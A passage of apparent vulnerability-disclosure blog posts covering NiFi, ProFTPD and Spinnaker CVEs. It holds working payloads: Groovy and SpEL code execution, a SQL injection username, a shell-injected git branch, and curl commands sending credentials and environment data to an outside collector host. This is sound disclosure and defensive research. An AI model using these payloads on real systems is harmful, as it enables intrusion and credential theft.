[NIFI-15800](https://issues.apache.org/jira/browse/NIFI-15800) and patched in version 2.9.0. MITRE has assigned it [CVE-2026-39816](https://www.cve.org/CVERecord?id=CVE-2026-39816), and scored the severity as "high."
Using our POC to get a shell on a NiFi server
Using our POC to get a shell on a NiFi server.
## Impacted Software
Vulnerable Versions Patched Versions
  • >= 2.0.0-M1, < 2.9.0
  • >= 2.9.0
## Timeline * 2026-04-03 — Issue reported to Apache NiFi maintainers * 2026-04-07 — [NIFI-15800](https://issues.apache.org/jira/browse/NIFI-15800) created to track the issue * 2026-04-10 — NiFi 2.9.0 ships with a patch ## POC [Full working POC](https://github.com/ZeroPathAI/nifi-CVE-2026-39816-poc) with Docker setup to produce a vulnerable environment to test against. ## Apache NiFi ### Background Apache NiFi is an open source dataflow management system that allows users to create, execute and manage data pipelines. It's similar to Airflow or Dagster, but instead of orchestrating batch jobs that other systems execute, NiFi sits in the data path itself, transforming and routing data as it passes from one place to another, typically in real-time continuous flows. The project has 6.1k stars on Github, and is widely-used across the industry.
6.1k stars as of April 28th, 2026
6.1k stars as of April 28th, 2026.
Typically, NiFi is not exposed to the public internet, but 302 publicly-accessible instances do show up in Shodan.
302 publicly-accessible NiFi instances as of April 28th, 2026
302 publicly-accessible NiFi instances as of April 28th, 2026.
Users primarily interact with NiFi via a web UI, where they can create and edit dataflows by drag and dropping components on a canvas.
Screenshot of NiFi canvas from its user guide
Screenshot of NiFi canvas from its user guide.
### Privilege Model Given that NiFi exists to author and manage data flows, its users have a fair amount of privilege by default compared to something like a word processor. However, executing arbitrary code is gated behind a specific permission. By design, there are intended to be flow designers who can't run whatever they want on the server. NiFi does not have pre-defined roles. Instead, user privilege is constructed by assigning one or more granular permissions. The full list (especially the EXECUTE_CODE permission) will become relevant later: | Permission | Effect | | :---- | :---- | | EXECUTE_CODE | Processors that compile/run user-supplied code (ExecuteScript, ExecuteGroovyScript, ...) | | READ_FILESYSTEM | Reading from the local filesystem (GetFile, FetchFile) | | WRITE_FILESYSTEM | Writing to the local filesystem (PutFile) | | READ_DISTRIBUTED_FILESYSTEM | Reading HDFS-style remote stores | | WRITE_DISTRIBUTED_FILESYSTEM | Writing HDFS-style remote stores | | ACCESS_KEYTAB | Kerberos keytab access | | ACCESS_TICKET_CACHE | Kerberos ticket cache access | | ACCESS_ENVIRONMENT_CREDENTIALS | Reading credentials from env vars / credential providers | | EXPORT_NIFI_DETAILS | Exporting NiFi internals (e.g. flow definition with secrets) | | REFERENCE_REMOTE_RESOURCES | Fetching arbitrary URLs (InvokeHTTP, etc.) | ## CVE-2026-39816: Running code without EXECUTE_CODE ### Overview NiFi contains two processors for executing traversals against graph databases: ExecuteGraphQuery and ExecuteGraphQueryRecord. Neither require EXECUTE_CODE to instantiate or run... and for good reason at first glance. Executing a traversal, like executing a SQL query, intuitively feels like an operation that shouldn't involve arbitrary code execution. However, if the traversal target is a Tinkerpop-compatible service, this common sense assumption fails: under some circumstances the user can specify a query using arbitrary Groovy code, which is then run on the NiFi server. ### NiFi Graph Extensions NiFi has a large ecosystem of first and third party extensions that add functionality. The core functionality is kept fairly lean by design. Most of these extensions are actually part of the NiFi project, and live in the [main NiFi repo](https://github.com/apache/nifi/tree/main/nifi-extension-bundles). It's normal to add extensions to support access to particular data sources for example (e.g. Airtable or Dropbox). If users want to run graph traversals against TinkerPop-compatible graph databases, they must enable a number of first party extensions from the NiFi project. To be vulnerable to CVE-2026-39816, those must include: * nifi-graph-nar * adds the ExecuteGraphQuery and ExecuteGraphQueryRecord processors for making graph queries * nifi-graph-client-service-api-nar * adds GraphClientService, the abstraction that different graph db clients implement * nifi-other-graph-services * Adds TinkerpopClientService, the specific implementation of GraphClientService for TinkerPop-compatible graph dbs ### TinkerPop Query Conventions ExecuteGraphQuery and ExecuteGraphQueryRecord both allow the user to specify a graph client, and a query to run. TinkerpopClientService is one possible graph client. TinkerpopClientService is interesting though, because TinkerPop has an unusual approach to traversals: while users can specify them as strings, the preferred technique is to implement the query directly in the language you're using with [Gremlin Language Variants](https://tinkerpop.apache.org/docs/3.8.0/reference/#gremlin-drivers-variants) like this: ```java Cluster cluster = Cluster.open("conf/remote.yaml"); GraphTraversalSource g = AnonymousTraversalSource .traversal() .with(DriverRemoteConnection.using(cluster)); g // GraphTraversalSource - the entry point .V() // GraphTraversal (start step) .has('name', 'alice') // GraphTraversal (filter step) .out('knows') // GraphTraversal (nav step) .toList() // terminal: triggers execution, returns List ``` Here the traversal is the bit after "g," but each step of the path is expressed using a native Groovy method. Per [the TinkerPop documentation](https://tinkerpop.apache.org/docs/3.8.0/reference/#gremlin-drivers-variants), this approach is preferred for a number of reasons, including: * Queries are compile-time verified * Queries can be composed just like any other functions * Development-time linting can flag errors and so on ### The Flaw: TinkerPop's Unorthodox Query Approach Breaks Assumptions TinkerpopClientService, NiFi's abstraction for executing TinkerPop traversals against a target, supports both the string-based expression of traversals AND the preferred native language approach. String-based submission is the default, but the service can be instantiated with native language submission like this: ```json "properties": { "Script Submission Type": "bytecode-submission", "Settings Specification": "service-settings", "Contact Points": args.gremlin_host, "Port": args.gremlin_port, "Path": "/gremlin" } ``` It's important to note here, that "bytecode" does not refer to JVM-bytecode... TinkerPop has its own bytecode that traversals in supported languages get compiled down to. It is much less full featured than something like JVM bytecode... potentially abusable because it supports arbitrary lambdas, but getting a shell is a little bit harder than instantiating ProcessBuilder. However, if we look at how TinkerPopClient actually handles these bytecode submissions, something interesting jumps out: ```java protected Map bytecodeSubmission( String s, Map map, GraphQueryResultCallback graphQueryResultCallback) { // ... Script compiled; // ... // ZP !!! compile groovy code that will ultimately become TinkerPop bytecode compiled = groovyShell.parse(s); ``` `groovyShell` here has the type `groovy.lang.GroovyShell`. The real input to the bytecode submission vector is Groovy code, which is compiled and run on the NiFi server to produce the bytecode to send to TinkerPop. This makes executing arbitrary code easy. We just need to create an ExecuteGraphQuery processor and set the query to valid Groovy code that returns a HashMap, e.g.: ```python GROOVY_PAYLOAD = ( 'def idOut = "id".execute().text.trim()\n' 'def hostnameOut = "hostname".execute().text.trim()\n' 'def proof = "RCE_PROOF\\nid: " + idOut + "\\nhostname: " + hostnameOut\n' f'new File("{MARKER_FILE}").text = proof\n' 'def result = new HashMap()\n' 'result.put("rce_proof", "CONFIRMED")\n' 'result' ) ``` This is only a security issue ultimately because ExecuteGraphQuery and related components can be instantiated by a user without EXECUTE_CODE permissions, potentially because executing graph queries under most circumstances doesn't involve arbitrary code execution. This TinkerPop edge case invalidates some core intuitive security assumptions likely made by the NiFi developers. ## Mitigation * Upgrade Apache NiFi to 2.9.0 or later * If upgrade is not possible, ensure the following optional extensions are not installed: * `nifi-graph-nar` * `nifi-graph-client-service-api-nar` * `nifi-other-graph-services` ## Takeaways There's no buffer overflow here... no SQL query that interpolates unsanitized input, no insecure deserialization. The issue exists purely at the semantic level: the ExecuteGraphQuery and related components were gated by one set of required privileges, but in actual practice supported behavior typically only available under another. As a result, this is a hard vulnerability to find with a traditional SAST tool in an application that is filled with by-design code execution vectors. LLMs working within a structured scaffold made it much easier to pick out the one code execution path that was surprising given the meaning of the permissions required to access it. --- #### CVE-2026-42167 Allows Auth Bypass And RCE In ProFTPD - **Date**: April 28, 2026 - **Authors**: John Walker - **Reading Time**: 7 minutes - **Keywords**: CVE-2026-42167, ProFTPD, authentication bypass, privilege escalation, remote code execution, FTP, vulnerability, open source security - **URL**: https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce ZeroPath Research discovered a SQL injection in ProFTPD's mod_sql extension (CVE-2026-42167) that can allow remote code execution, authentication bypass, and privilege escalation depending on configuration — exploitable pre-auth in some cases. Affects ProFTPD <= 1.3.9; patched in 1.3.9a. --- ## Summary ZeroPath Research discovered a SQL injection vulnerability in ProFTPD's mod_sql extension. Depending on configuration, the flaw can be exploited before authentication and may lead to authentication bypass, privilege escalation, or remote code execution. MITRE has assigned the flaw [CVE-2026-42167](https://nvd.nist.gov/vuln/detail/CVE-2026-42167) and rated it 8.1 on the CVSSv3 severity scale.
Bypassing auth to inject a backdoor user with full disk access
Bypassing auth to inject a backdoor user with full disk access.
## Impacted Software
Vulnerable Versions Patched Versions
  • <= 1.3.9
  • >= 1.3.9a
## Timeline * 2026-03-28 — Issue reported to ProFTPD maintainers * 2026-04-07 — ProFTPD maintainers and ZeroPath work to verify patch * 2026-04-24 — [CVE-2026-42167](https://nvd.nist.gov/vuln/detail/CVE-2026-42167) issued * 2026-04-27 — Commit [af90843baf7dcb8c6be1e5261be2d0b5b5850673](https://github.com/proftpd/proftpd/commit/af90843baf7dcb8c6be1e5261be2d0b5b5850673) fixes issue * 2026-04-27 — 1.3.9a released with fix ## ProFTPD ### Background ProFTPD is a widely-deployed FTPd daemon, with over 160,000 instances accessible on the public internet, according to Shodan.
162,329 public ProFTPD instances as of April 28, 2026
162,329 public ProFTPD instances as of April 28, 2026.
Most modern Linux distributions include a ProFTPD package. It's also commonly bundled with web hosting administration packages including: * DirectAdmin * Plesk * ISPConfig * Webmin * cPanel Based on our testing, we estimate that at least 1% of publicly-accessible ProFTPD instances are vulnerable to SQL injection before authentication. A likely larger number are vulnerable post-authentication, since many more attack vectors are reachable after login. What an attacker can do with the injection depends on each instance's configuration — ranging from exfiltrating sensitive data, to auth bypass, to RCE. ### mod_sql ProFTPD comes bundled with the mod_sql extension. When enabled, this extension can power a wide range of functionality, from quota tracking, to ban lists, to authentication. Two capabilities are especially important for understanding [CVE-2026-42167](https://nvd.nist.gov/vuln/detail/CVE-2026-42167) and its impact. #### Authentication Using the `SQLAuthenticate` and `SQLUserInfo` directives, an admin can configure ProFTPD to authenticate users against a SQL table instead of the local `/etc/passwd` file. This can come in handy for use cases like web hosting — it's not necessary to maintain full valid unix users for every FTP user, and it's quick to update user records in a centralized database. #### Logging Using the `SQLNamedQuery` and `SQLLog` statements, an admin can configure ProFTPD to store its logs in a SQL database where they can be easily accessed and aggregated. Like its SQL authentication feature, this is especially useful for hosting services. ## The Flaw: CVE-2026-42167 ### Logging: Key Attack Surface Admins configure what gets logged to SQL with statements like these: ``` SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log SQLLog * log_activity SQLLog ERR_* log_activity ``` `SQLLog` selects particular commands to log. In this case all commands are logged. `SQLNamedQuery` specifies how to insert log entries into the database. Critically, the `SQLNamedQuery` includes magic `%` expansions, which get replaced by data from the request. Many of these expansions are potentially attacker-controlled, including: | Variable | Meaning | | :---- | :---- | | %A | anonymous-login password string | | %J | command parameters (everything after the verb) | | %S | response message string (may include attacker input echoed back in errors) | | %U | original username from `USER` (set before auth, available even on failed login) | | %d | directory name (last path component) | | %l | RFC 1413 ident response (attacker-controlled if they run identd) | | %m | FTP method/verb (attacker chooses which command to send) | | %r | full FTP command (verb + args) | | %u | authenticated username | | %{basename} | filename component of the path argument, no directory prefix | The attack surface here is obvious. Can an attacker use any of the parameters they control to slip an injection into an admin-configured `SQLNamedQuery` logging statement? ### Sink: sql_resolved_append_text() Escape sequences get expanded into the logging SQL query in `sql_resolved_append_text()`: ```c // contrib/mod_sql.c static int sql_resolved_append_text(pool *p, struct sql_resolved *resolved, const char *text, size_t text_len) { char *new_text; size_t new_textlen; // ... if (is_escaped_text(text, text_len) == FALSE) { // ZP: In this branch, escape value modret_t *mr; mr = sql_dispatch(sql_make_cmd(p, 2, resolved->conn_name, text), "sql_escapestring"); if (check_response(mr, resolved->conn_flags) < 0) { errno = EIO; return -1; } new_text = (char *) mr->data; new_textlen = strlen(new_text); } else { // ZP !!! In this branch, do not escape value pr_trace_msg(trace_channel, 17, "text '%s' is already escaped, skipping escaping it again", text); new_text = (char *) text; new_textlen = text_len; } } ``` Immediately, we see a very interesting fork in the logic: if `is_escaped_text()` returns `TRUE`, a value will be inserted directly into the SQL query without further processing. The next question then, is whether this function's logic can be abused. The routine is pretty straightforward: ```c static int is_escaped_text(const char *text, size_t text_len) { register unsigned int i; if (text[0] != '\'') { return FALSE; } if (text[text_len-1] != '\'') { return FALSE; } for (i = 1; i < text_len-1; i++) { if (text[i] == '\'') { return FALSE; } } return TRUE; } ``` If a value starts with a single quote, ends with a single quote and contains no single quotes within it, it's considered to be already escaped. Presumably, the authors built this to account for cases where an already-constructed string was being passed in (e.g. some previous layer has turned `%something` into `'a value'`). Unfortunately, attackers can easily set one of the expansions they control to a single-quoted value that allows for SQL injection. For example, given this logging statement that records the username (`%U`) of everyone that tries to authenticate: ``` SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log SQLLog * log_activity SQLLog ERR_* log_activity ``` An attacker can try to authenticate like this: ``` USER ' || (SELECT 1) ||' ``` The start of the query then becomes: ```sql INSERT "'' || (SELECT 1) || '' ``` Notice that the single quote at the beginning and the end of the attacker username match the hardcoded single quotes in the SQL statement. The statement now reads: > "Insert empty string concatenated with the result of a subquery concatenated with an empty string." ### Impact: RCE, Auth Bypass, Privesc and More #### Access Necessary What an attacker can do with this vulnerability depends on the admin's ProFTPD config. If the admin hasn't enabled mod_sql at all, or has not configured mod_sql-based logging, their instances are not vulnerable. If mod_sql logging is enabled, the access an attacker needs to get up to mischief depends on how that logging is configured. If pre-auth verbs like `USER` are logged, and that logging includes attacker-controlled values like `%U` (the username), an attacker only needs network access to the ProFTPD instance. If post-auth verbs like `STOR` are logged in a way that includes attacker-controlled values, like the filename (`%f`), then the attacker must authenticate to exploit the issue (but this authentication can include anonymous FTP login if the server is configured for anonymous access). #### RCE When ProFTPD connects to Postgres with superuser privileges, the impact extends beyond database access. Existing Postgres command-execution primitives allow SQL injection to be escalated to remote code execution in this configuration. (See [POCs](https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc) for more details.) #### Auth Bypass And Privilege Escalation In the more common case, where a non-Postgres datastore is used, or ProFTPD is not authenticating to Postgres with a superuser, attackers can bypass authentication or expand their privileges if mod_sql is configured for authentication via the `SQLAuthenticate` directive. The malicious user simply inserts a record into the users table with the privilege, home directory and password that they desire. They then login as this user with the password they set. If pre-auth input, like username, are logged, this means the attacker can bypass authentication altogether. Even in cases where the attacker can only insert a user record after authenticating, they can significantly expand their privilege — e.g. setting their home directory to `/` so that they can browse and download the entire filesystem, not just a constrained directory within it. > **Note:** Inserting a user is easiest with SQLite and Postgres backends. If the admin has configured MySQL as the backend, the attacker needs to work around not being able to stack multiple SQL statements within the insert. #### Credential Exfil Using timing-based blind SQL injection techniques, an attacker can exfiltrate the contents of arbitrary tables character by character, including the users table used by SQL-backed authentication (if enabled). This users table can contain plaintext or hashed passwords, depending on config. (See [POCs](https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc) for more details.) #### Other mod_sql can do a lot more than authentication and logging. Abusing the authentication functionality was an obvious POC choice for us, because of its security relevance, but any function that depends on mod_sql for data storage can likely be subverted in some way. For example, a malicious user could evade quotas enforced by mod_quotatab_sql by altering relevant tables. If you have logging via mod_sql enabled, and your log statements include attacker-controlled input, you should assume that any other mod_sql-dependent functionality is potentially compromised (out of an abundance of caution). ## POC We've included [several full POCs](https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc) on GitHub. The POCs also include a setup script to stand up a vulnerable instance of ProFTPD within Docker for easy testing. ## Mitigation * Upgrade ProFTPD to at least 1.3.9a * If upgrade is not possible, disable logging via mod_sql * Monitor ProFTPD instances for suspicious activity ## Takeaways Several factors complicate finding this vulnerability. The first is that logging substitutions like `%U` can evade simple taint analysis. For each expansion in a log statement, `pr_jot_resolve_logfmt()` replaces the format string with the value from the session and then dispatches the result to a dynamic callback passed in by the caller. It's only when mod_sql is configured that the callback passed to `pr_jot_resolve_logfmt()` at runtime is a function that will ultimately use the session input in a dangerous way. The flow from source to sink is data and configuration-dependent, and requires among other things understanding the possible states of function pointers at runtime. A second complicating factor is that SQL escape logic does exist. If you're starting from a potential sink (the SQL query) and moving upwards, you see that in most cases values are properly sanitized. The flaw is at the semantic level: the values ProFTPD chooses not to sanitize are not the same as those that are actually safe… but to understand that you have to have a full sense of what input gets to the logs and how, as well as why the escape logic excludes the values it does. LLMs do well at reasoning about complex data and config-dependent flows like the one involved here, as well as analyzing semantic level bugs: moving beyond proving "this index can grow past the length of this buffer" to "this sanitization function is sound, but I don't think it achieves the author's desired intent." --- #### Critical Spinnaker Vulns Allow RCE And Production Compromise - **Date**: April 20, 2026 - **Authors**: John Walker - **Reading Time**: 12 minutes - **Keywords**: Spinnaker, RCE, remote code execution, CVE-2026-32604, CVE-2026-32613, Clouddriver, Echo, Spring Expression Language, command injection, SpEL injection, vulnerability research, ZeroPath - **URL**: https://zeropath.com/blog/spinnaker-rce-production-compromise ZeroPath Research discovered two separate RCE vulnerabilities in Spinnaker (CVE-2026-32604 and CVE-2026-32613) that let low-privilege authenticated users execute code on Clouddriver and Echo, enabling credential theft and pivots into production cloud environments. --- ## Summary ZeroPath Research discovered two separate critical vulnerabilities in Spinnaker that allow low privilege authenticated users to execute arbitrary code on the Clouddriver and Echo servers. Because Spinnaker is used to deploy applications, compromising these services allows attackers to steal credentials and pivot into source control and production cloud environments. The flaws have been assigned CVE-2026-32604 and CVE-2026-32613, each with a 9.9 Critical severity, and have been patched in the latest Spinnaker releases.
Using our POC to pop a shell on Clouddriver
Using our POC to pop a shell on Clouddriver
## Impacted Software
Vulnerable Versions Patched Versions
  • < 2026.0.1
  • < 2025.4.2
  • < 2025.3.2
  • 2026.1.0
  • 2026.0.1
  • 2025.4.2
  • 2025.3.2
To check which version you're running, invoke: `curl -v https:///version` Or from the Deck UI: Click the Gear Icon => Navigate to Settings ## Timeline * 2026-03-11 Echo vulnerability reported * 2026-03-11 Clouddriver vulnerability reported * 2026-03-11 Spinnaker maintainers acknowledge both vulnerabilities * 2026-03-12 CVEs assigned * 2026-03-20 Spinnaker releases fixes in each major branch (2026.0.1, 2025.4.2, 2025.3.2) * 2026-04-20 Critical CVEs (CVE-2026-32604, CVE-2026-32613) made public ## Exploitation Video Walkthrough Along with this article, we've released [proof of concept scripts](https://github.com/ZeroPathAI/spinnaker-poc) and a video walkthrough demonstrating how to use them in a lab. ## Spinnaker ### Background Spinnaker is an open source platform for managing and deploying cloud applications. Netflix built it originally, and it is now used by many major companies, including Google and Cisco.
Some Spinnaker users listed on the Spinnaker website
Some Spinnaker users listed on the Spinnaker website
It is generally configured to only be privately accessible, but some instances do exist on the public internet.
94 public-facing Spinnaker instances discoverable via Shodan
94 public-facing Spinnaker instances discoverable via Shodan
### Architecture #### Core Concepts Spinnaker exists to both manage and deploy cloud applications. An [Application](https://spinnaker.io/docs/concepts/#application) in the Spinnaker sense is more complex than in the everyday sense. It consists of individual deployable artifacts + configuration ([Server Groups](https://spinnaker.io/docs/concepts/#server-group)), combined into one or more [Clusters](https://spinnaker.io/docs/concepts/#cluster). This complexity comes in handy for deploying distributed applications like Spinnaker itself… creating one Application might mean standing up 12 unique microservices, each of which has multiple replicas and each of which has important dependencies on other services. [Pipelines](https://spinnaker.io/docs/concepts/#pipeline) are the key abstraction within Spinnaker for capturing how to go about deploying a particular Application. Because of how complex the Apps it manages can get, they support a lot of rich functionality. As a result, they also expose a lot of attack surface. Both flaws we'll be discussing involve exploiting some of this Pipeline attack surface. #### Privilege Structure Spinnaker has a fairly straightforward privilege system. There are two primary resource types a user can have permissions to: [Account](https://spinnaker.io/docs/setup/other_config/security/authorization/#accounts) (cloud account): * READ: Ability to view infrastructure in cloud account * WRITE: Ability to create new infrastructure in cloud account [Application](https://spinnaker.io/docs/setup/other_config/security/authorization/#applications) (managed/deployed by Spinnaker): * READ: View a managed app * EXECUTE: Kick off pipelines for managed app * WRITE: Update pipelines and other config for managed app. Implicitly includes EXECUTE. One of the RCEs we'll be exploring requires none of these permissions – a user just has to be authenticated. The other requires WRITE on one application. #### Components Spinnaker is a complex application made up of more than 10 microservices. Only a few relate to the vulnerabilities we're focused on, but here's the overall structure:
Diagram of Spinnaker microservices
Diagram of Spinnaker microservices
Key components for our purposes: * Gate – public-facing API gateway * Orca – responsible for executing pipelines * Clouddriver – responsible for interfacing with cloud environments to stand up infrastructure * Echo – central notification / event hub * Fiat – authorization One vulnerability allows code execution on the Clouddriver, and the other allows code execution on Echo. In both cases, the caller can trigger the issues through the public API exposed by Gate OR by talking to relevant services directly. #### Key Trust Boundaries Gate authenticates and authorizes requests before dispatching them to the target microservice that fulfills the request. For the most part, services themselves do not perform any authentication or authorization. The network within which the services run is assumed to be trusted. This perimeter-based trust model is part of what makes these vulnerabilities so impactful. If you're an attacker, once you're past Gate (e.g. because you have code execution on an internal service), the world is your oyster. ## The Flaws ### Flaw 1: Clouddriver RCE (CVE-2026-32604) #### Overview Clouddriver is an especially juicy target because it typically holds cloud credentials for production environments. PUT /artifacts/fetch is an endpoint on the Gate service designed to trigger an artifact download. It's primarily meant for internal use, but no special role is required to access it, beyond being an authenticated user. PUT /artifacts/fetch on Gate forwards to PUT /artifacts/fetch on the Clouddriver service. The endpoint supports multiple artifact types, including git. A sample request to clone a git repo looks like this: ```json { "type": "git/repo", "reference": "https://example.com/repo.git", "version": "main", "artifactAccount": "some-http-auth-account" } ``` GitJobExecutor.java invokes a git command based on the payload. The command is constructed using the following logic: ```java // GitJobExecutor.java private void cloneBranchOrTag( String repoUrl, String branch, Path destination, String repoBasename) throws IOException { log.info("Cloning git/repo {} into {}", repoUrl, destination.toString()); // ZP: !!! String command = gitExecutable + " clone --branch " + branch + " --depth 1 " + repoUrlWithAuth(repoUrl); JobResult result = new CommandChain(destination).addCommand(command).runAll(); ``` The branch name is inserted directly into a shell command without sanitization. This makes injection trivial with a payload like this: ```json { "type": "git/repo", "reference": "https://example.com/repo.git", "version": "main; touch /tmp/pwned;", "artifactAccount": "some-http-auth-account" } ``` The command to execute becomes: ```shell git clone --branch main; touch /tmp/pwned ; --depth 1 https://example.com/repo.git ``` The semicolon here needs to be interpreted by a shell. If Spinnaker `exec()`-ed this command directly, git would error out with a message about invalid arguments. However, under some circumstances, Spinnaker uses a shell to invoke git commands so that environment variables get expanded: ```java private List cmdToList(String cmd) { List cmdList = new ArrayList<>(); switch (authType) { case USER_PASS: case USER_TOKEN: case TOKEN: // "sh" subshell is used so that environment variables can be used as part of the command cmdList.add("sh"); cmdList.add("-c"); cmdList.add(cmd); break; case SSH: default: cmdList.addAll(Arrays.asList(cmd.split(" "))); break; } return cmdList; } ``` This is where the `artifactAccount` parameter comes in. authType gets determined by the stored credential referenced in this parameter. To successfully exploit the issue, the attacker must know the name of a valid token or username/password credential to force execution down the correct fork. The GET /artifacts/credentials endpoint on Gate exposes a list of credentials to all authenticated users, so it's just a matter of choosing one with the right auth type. Worth noting: even when git is not invoked with a shell, a determined attacker could abuse valid git options like `-c` or `--upload-pack` to execute arbitrary commands, it would just take a bit more work. #### Exploitation And Impact Using a simple script, like our [example POC](https://github.com/ZeroPathAI/spinnaker-poc/blob/main/pocs/clouddriver_rce_via_git_clone.py), an authenticated but unprivileged attacker can quickly get a shell on Clouddriver:
A user running our CVE-2026-32604 POC to get a shell on Clouddriver
A user running our CVE-2026-32604 POC to get a shell on Clouddriver
From there, the attacker can get to work stealing the cloud credentials Clouddriver uses to do its deploys. A likely first stop for most malicious users is to simply `cat /opt/spinnaker/config/clouddriver.yml` within the pod. If AssumeRole or external vaults are not used, secrets are often exposed directly in this file.
Attacker exfils secrets from clouddriver.yml
Attacker exfils secrets from clouddriver.yml
In cases where key material is not stored in plaintext in the configuration file, the attacker can leverage the AWS instance credentials of the pod (or equivalent) to assume roles listed in clouddriver.yml or access secrets via the appropriate secret manager. Ultimately, no matter what precautions are taken, because Clouddriver itself must be able to use credentials, an attacker in the Clouddriver pod has all the same privileges as Clouddriver. Attackers can also attempt to steal credentials used to fetch artifacts (e.g. GitHub tokens). By making a malicious request to PUT /artifacts/fetch on Clouddriver, which is not authenticated, they can direct Clouddriver to present the credentials to a service they control with a request like: ```shell curl -s -X PUT http://localhost:7002/artifacts/fetch \ -H 'Content-Type: application/json' \ -d '{"type":"http/file","name":"x","reference":"http://pfxfrfhcrjoieltpvbao2drlar2lgqqe1.oast.fun/collect","artifactAccount":"test-http-account"}' ``` We cover this potential attack in more detail as part of the Echo vulnerability, since it's equally exploitable from Echo. ### Flaw 2: Echo Server RCE (CVE-2026-32613) #### Background: Pipeline Expected Artifact Declaration A Spinnaker deployment pipeline can accept arguments when it is kicked off, including arguments that describe input artifacts or configuration files, which can be things like source repos. The pipeline declares the artifacts it expects to receive like this: ```json "expectedArtifacts": [ { "id": "my-manifest", "matchArtifact": { "type": "embedded/base64", "name": "deployment.yaml" } } ] ``` In some cases though, the name of the artifact might be dynamic… imagine something like a shared pipeline re-used for deploying many different services that needs to use a different kubernetes deployment template for each one. One way to accomplish that in Spinnaker is to use the Spring Expression Language in the artifact name declaration block like this: ```json "matchArtifact": { "type": "github/file", "name": "${trigger.payload.repository.name}/k8s/deployment.yaml" } ``` Here, `${trigger.payload.repository.name}` will be replaced with a property from the event that kicks off the pipeline. Orca is the service within Spinnaker that executes pipelines, but these sorts of dynamic expressions are actually evaluated by the Echo event hub before the job ever gets to Orca. This is because Echo has access to all the necessary information to "hydrate" the pipeline definition, including: * The pipeline config * The trigger event that's kicking off the pipeline * The artifacts passed in to the pipeline #### Core Sink: Pipeline Trigger Pipeline-triggering events can be created many ways – schedules, POST requests to web hooks etc. Regardless of how the event gets created though, it always makes its way to Echo. Echo cross references the trigger event with pipelines that exist and kicks off the appropriate ones: ```java // echo/echo-pipelinetriggers/src/main/java/com/netflix/spinnaker/echo/pipelinetriggers/monitor/TriggerMonitor.java:74 private void triggerMatchingPipelines(T event) { try { // ZP: Select matching pipelines List matchingPipelines = eventHandler.getMatchingPipelines(event, pipelineCache); // ZP: For each Pipeline matchingPipelines.stream() // ZP: drop any that have error messages .filter(p -> Strings.isNullOrEmpty(p.getErrorMessage())) // ZP: Run post processor on pipeline // IMPORTANT: This transforms the pipeline object .map(pipelinePostProcessorHandler::process) // ZP: Actually invoke pipeline .forEach( p -> { recordMatchingPipeline(p); pipelineInitiator.startPipeline( p, PipelineInitiator.TriggerSource.EXTERNAL_EVENT ); } ); ``` The unassuming pipeline post processor is critical: `.map(pipelinePostProcessorHandler::process)` It invokes all registered pipeline post processor handlers, all of which can mutate the actual Pipeline object before the job gets invoked. One of the registered handlers, `ExpectedArtifactExpressionEvaluationPostProcessor`, is responsible for evaluating dynamic Spring expressions and replacing them with their result. It looks like this: ```java // echo/echo-pipelinetriggers/src/main/java/com/netflix/spinnaker/echo/pipelinetriggers/postprocessors/ExpectedArtifactExpressionEvaluationPostProcessor.java: public Pipeline processPipeline(Pipeline inputPipeline) { // ZP !!! Create context to eval dynamic expressions within EvaluationContext evaluationContext = new StandardEvaluationContext(inputPipeline); List expectedArtifacts = inputPipeline.getExpectedArtifacts(); // ... // ZP: Replace expected artifacts in pipeline we're processing // with versions that have dynamic expressions resolved return inputPipeline.withExpectedArtifacts( expectedArtifacts.stream() .map( artifact -> { // ... Map evaluatedArtifact = new ExpressionTransform( parserContext, parser, Function.identity() ) .transformMap( artifactMap, evaluationContext, summary ); ``` `StandardEvaluationContext` here is a standard Spring Framework class used when evaluating spring expressions. It allows extremely flexible expressions… including ones that instantiate arbitrary classes. It is explicitly designed for trusted input only. Spring offers a `SimpleEvaluationContext` for expressions that might be attacker-controlled. Normally, when Spinnaker evaluates Spring expressions it goes a step further even than using `SimpleEvaluationContext`, instead constructing its own special locked down context using the `ExpressionsSupport` class. For whatever reason in this one place only (hydrating `expectedArtifact` declarations from pipelines) that got missed. As always with vulnerability hunting, context matters. `StandardEvaluationContext` might occur many times in a codebase for perfectly valid reasons. It's only insecure when attacker input can reach it. #### Exploiting The Issue To get RCE on the Echo server, we just need to create a pipeline with a malicious `expectedArtifacts` block and get it to run. For this, we'll need an authenticated user with the ability to write to an application or an application configured to allow anyone to write to it. With either thing, we can add a malicious pipeline to that app by POST-ing to /pipelines on the Gate API gateway with a pipeline definition like this: ```json { "name": "fake_pipeline", "application": "", "expectedArtifacts": [ { "id": "spel-rce-artifact", "displayName": "payload", "matchArtifact": { "type": "embedded/base64", "name": "${new java.lang.ProcessBuilder(new String[]{'bash','-c','OUT=$(id && echo ---ENV--- && env) && curl -sk -X POST --data-binary \"$OUT\" http://localhost:8080/rce'}).start()}" }, "defaultArtifact": { "type": "embedded/base64", "name": "default", "reference": "dGVzdA==" }, "useDefaultArtifact": true, "usePriorArtifact": false } ], "triggers": [], "stages": [ { "type": "wait", "name": "Wait", "waitTime": 5 } ] } ``` The most important aspect of the malicious payload is the matchArtifact clause with the Spring Expression Language expression that spawns a shell. As soon as the attacker triggers the pipeline, the expression executes. Our [example POC](https://github.com/ZeroPathAI/spinnaker-poc/blob/main/pocs/echo_rce_via_spel.py) puts this all together into an ergonomic package:
A user running our CVE-2026-32613 POC to get a shell on Echo server
A user running our CVE-2026-32613 POC to get a shell on Echo server
#### Pivoting Landing on an event hub may seem less than ideal, but here the Spinnaker security model comes to our rescue. If an attacker wants to access any of the Spinnaker microservices externally, through Gate, authentication is required. Service to service access is for the most part unauthenticated. This means that from the attacker's initial foothold on Echo, they can quickly pivot to Clouddriver or other high value targets (depending on the network setup). One realistic example of such a pivot is stealing GitHub or other source control credentials from Clouddriver. Clouddriver exposes PUT /artifacts/fetch, which causes it to try to access an artifact at a user-controlled URL with the saved credentials specified by the user. This endpoint is not authenticated, and is typically network-accessible from Echo. An attacker can use the Clouddriver API to list stored source control credentials, then PUT /artifacts/fetch to exfiltrate them to their server. > **Note:** Spinnaker admins can lock down the list of domains PUT /artifacts/fetch will send credentials to, but this is not done by default. In our lab environment we ran this command within the Echo container: ```shell curl -s -X PUT http://clouddriver:7002/artifacts/fetch \ -H 'Content-Type: application/json' \ -d 